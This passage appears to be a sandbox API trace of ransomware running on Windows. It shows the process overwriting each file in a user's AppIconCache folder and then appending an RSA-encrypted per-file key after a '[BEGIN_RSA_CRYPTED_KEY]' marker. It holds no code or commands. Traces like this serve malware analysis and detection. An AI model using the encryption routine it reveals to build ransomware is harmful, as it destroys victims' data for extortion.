hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.918] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.920] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.920] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.920] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.920] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.920] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XJvAL5sTwLvNVTB9dLTf4GvcFc+3hBJlS/YKAsAsi/Iy2k+F7igm02NqTLhvG2ys\nZAzQpp8d08t/Rl6kDVOizQmR2k8vOx7opbK9o/NF6FyLOQ7uCHHYfHY0RYn/Yg2o\ntNIBEKZ47Ghgqgqoo1YlxU1Z387YWPm1M79/GmHPCOjBxJ6bumtsAV270yoFRMW2\n4jf/P3ve/vFxC8h0rRbsr4EOsqfm2PNLTmjbLsq/qqau1ZnMAvQPtadA1YCHyDx+\n+VwmW3S6Dpfkf81+BxquAkq4PSCWTXr29pmXoq0XjudrVE2sMECfNrb6IUgvAYVG\nyD4CnL8iv/iaY/ZtbPnlTw==\n", pcchString=0x2e3f9a8) returned 1 [0247.920] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.921] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.921] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.921] CloseHandle (hObject=0x1afc) returned 1 [0247.922] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.922] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2C93380E-CAC6-43B0-86B5-A8096D4CDF2D}", dwFileAttributes=0x80) returned 1 [0247.923] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2C93380E-CAC6-43B0-86B5-A8096D4CDF2D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2c93380e-cac6-43b0-86b5-a8096d4cdf2d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.923] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.924] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.958] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.958] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.958] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.959] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.959] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.959] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.959] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.959] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sENDz6e/DlSWrwbQTtVlul9SuNBHxXY9pdZTGuQn6Z+oHoweOIPO5P7hkTuFoK1f\n7XqzZEB/bdVIGlZwgZtselP7AvCwppKkV+05UUQtJKPNE3dC0CX3XmmHh8PC0cZU\nmnMjHlDS1UH9I27UpGPVk1R9c040higgzQcspS4wEvb0RjYHMv1tn8jS6hEQ49De\nqfa6L4jkw6IZ5JZgOHrIomiDPRaUfoF/PGxt2F2BZQGdqPt7MvXcGUUNP2hx2apO\nrn28wq4+AGZ97I1ZKmOELI/E3NJwDUaGwWARxdw/ExfguL7O+vVGbdu08AAYGaEG\nKoft9EGZ8n2QVZ65wOLpHw==\n", pcchString=0x2e3f9a8) returned 1 [0247.959] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.959] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.959] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.960] CloseHandle (hObject=0x1afc) returned 1 [0247.961] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.961] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2BC99385-EF59-444C-A32A-68291A8E5017}", dwFileAttributes=0x80) returned 1 [0247.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2BC99385-EF59-444C-A32A-68291A8E5017}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2bc99385-ef59-444c-a32a-68291a8e5017}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.963] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.963] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.977] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.977] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.977] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.977] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.977] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.978] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.978] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jqdJw8fjU4ckD3vga5S4AERGqpZNeEHtHWlsk0a/2cGqnPiAkY4k2yayfuZaV/An\n9HcZ9aQZEdHOXz9hckhlNZLV901rsqDv2pg7qhdyNrOyWoarF79EhF+XSe5tkn9k\nfWFkvoHF1OnesNjWhXL0QsrYPegX9jhbnQoYQyg99u596g0EugsMDoGK0kcuCrD5\nNsVln7Ipc8WVp9eVtg8T1OleelsRR7imibvUIHivqKPJ5RTNF53HDIEh2yaRJkxl\nF2ZPMJMxnxA9Gzr78FYUK54z+MuOisph6H4RkVU1+hfkBV9STtaRqNcqYDf9sQqj\n2SmttSVXPp2SfbgzVP0wYg==\n", pcchString=0x2e3f9a8) returned 1 [0247.978] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.978] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.978] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.978] CloseHandle (hObject=0x1afc) returned 1 [0247.980] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.980] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2ADB8C14-DCB4-40AE-8D64-88007C912021}", dwFileAttributes=0x80) returned 1 [0247.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2ADB8C14-DCB4-40AE-8D64-88007C912021}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2adb8c14-dcb4-40ae-8d64-88007c912021}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.981] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.981] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.982] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.983] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.983] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.983] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.983] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.983] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.983] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.983] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.983] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rDga0U/dLEgDs13+6LGx2R4xOLbXl8ZW6N6/64/bZSjhYLA1bo9RZFDS7qHGPrv1\ntsFVlsBeqiDcDFbV0rUFtNxGNgCtDyxHbQP5nckx/rHG0YVwoNNKi1wgH4gON2bS\n8ca59ENiXROi3trot/uL18gRRbjscZXpRUEzqo+ywT+M4ycJnENKkEwUUXs+3MmY\nBw+rCpVMTFKGsrEO59EkvTtQn1KYIaj0UBK3l/kddPsy9vrCqS0GRpH8NK08AwWZ\nLn7UfmadyrGDsiSqJfS1SyMCVgkFbJtbLYfqcMC9whiUOBetYR5qCZsKpnoX5jzG\n3zFxSnO5NGSEM2auKhGBAg==\n", pcchString=0x2e3f9a8) returned 1 [0247.984] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.984] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.984] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.984] CloseHandle (hObject=0x1afc) returned 1 [0247.985] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{27F05FEC-A9C6-4C1E-B218-39AC437A0419}", dwFileAttributes=0x80) returned 1 [0247.986] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{27F05FEC-A9C6-4C1E-B218-39AC437A0419}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{27f05fec-a9c6-4c1e-b218-39ac437a0419}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.986] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.987] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.004] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.004] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.005] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.005] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.005] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.005] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.005] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.005] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.005] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cIvsODcUfyAOYStlXdoRu5fTKNexMo4QScijwkXbmemqcehClCIzF5k9/AJMd042\nfRddaS3NfLOKmDrl4Q/Zk4G3LCIyGjT0o7zNfVEsWhMc6WpUtOq5t8k4nATUGNiN\nkiTqVys8Bb5rlIks5eyl0QVVtx27DPuZUkvjfI4CObuFdm/rLhMXs6laZINJBWib\nKRs+HS7T/UV3KpY+yHrHm47TW9c2uPq40FMgsq7ulNYGdT2k8gHxD2fPyya/d91h\nDm+n/rYInVRmtTr7hzLUakSov6ODqxtpk59kwkkl8A8B6F2q+YV09PBY0IKRM8h0\nJoR/ilaRCEYRJ7o3/8XMkg==\n", pcchString=0x2e3f9a8) returned 1 [0248.005] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.005] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.005] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.005] CloseHandle (hObject=0x1afc) returned 1 [0248.007] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.007] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{25F897FC-E052-47D8-81FA-058F7D44DB07}", dwFileAttributes=0x80) returned 1 [0248.008] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{25F897FC-E052-47D8-81FA-058F7D44DB07}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{25f897fc-e052-47d8-81fa-058f7d44db07}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.008] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.008] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.010] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.010] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.010] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.010] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.010] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.010] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.010] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.011] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.011] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wVO69TASg/Lwt1DNdncK253Jtf7uUdkCcV3RHBxLz+XJSLRbDTlpkiRth1VioAFK\nolE9zhJZLh6371rvoIWFl2hsxVs9rEdb5oRztDwAi+nP3EmfCniF4/yiAylkbbh/\nITA+0nCx31CDlv2Pko/AeFFwGICrPA/CxnkTIgisq49lBOfIMzP6rpm0oQuiw3FD\nNesUKWksHzq5X7BWi9HyXXNdbYKP99+5ij1xdxnBsTgPpwVAYjgOv3ktY74JgIXz\nyiry7lR/ghx9FHXZxrPvrCNfRMrwXf86J6gU5B7UzMU7FcaPIidALgCYBKfDsIIp\nwaYVohwMgVCR9tCgsy4+QQ==\n", pcchString=0x2e3f9a8) returned 1 [0248.011] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.011] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.011] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.011] CloseHandle (hObject=0x1afc) returned 1 [0248.013] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.013] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{238B3853-BA53-44A6-88BA-A0867B43ED76}", dwFileAttributes=0x80) returned 1 [0248.014] CreateFileW 